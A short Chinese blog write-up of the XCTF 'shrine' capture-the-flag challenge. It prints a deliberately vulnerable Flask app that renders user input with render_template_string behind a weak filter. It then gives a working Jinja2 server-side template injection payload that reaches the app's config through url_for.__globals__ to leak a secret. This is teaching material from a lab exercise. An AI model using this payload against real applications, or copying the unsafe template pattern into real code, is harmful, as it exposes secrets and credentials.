• XCTF-shrine


    shrine

    直接看题

    进来给了个python代码

    import flask
    import os
    app = flask.Flask(__name__) 
    app.config['FLAG'] = os.environ.pop('FLAG') 
    @app.route('/') 
    
    def index(): 
        return open(__file__).read() 
    
    @app.route('/shrine/') 
    def shrine(shrine): 
        def safe_jinja(s): 
            s = s.replace('(', '').replace(')', '') 
            blacklist = ['config', 'self'] 
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 		return flask.render_template_string(safe_jinja(shrine)) 
    
    if __name__ == '__main__': app.run(debug=True)
    

    这里用到了render_template_string()函数,应该是ssti漏洞,和这道题类似

    限制:过滤了(),和关键字config,self

    目标:os.environ.pop('FLAG')

    这几个过滤,我想不出有什么方法可以bypass,然后看了这篇write up

    paylod:/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}

    payload可行,但是里面还是有config关键字???

    然后我去python运行了一下代码

    恍然大悟,这里的python代码只过滤了()

    后面的configself是把对应变量设为了None,使得不能直接访问configself

    所以,使用其他不需要()的方法访问到config或者self就可以了

    中午吃完饭来总结一下SSTI

  • 相关阅读:
    超好看的UI配色网站汇总~
    JS获取非行内样式
    最近看到的一些不错前端面试题目
    指令
    $filter $watch
    学习学习学习
    Mongoose by时间查询
    AngularJs 学习 笔记 4 foreach
    AngularJs 学习 笔记 3
    AngularJs 学习 笔记 2
  • 原文地址:https://www.cnblogs.com/R3col/p/12718993.html
Copyright © 2020-2023  润新知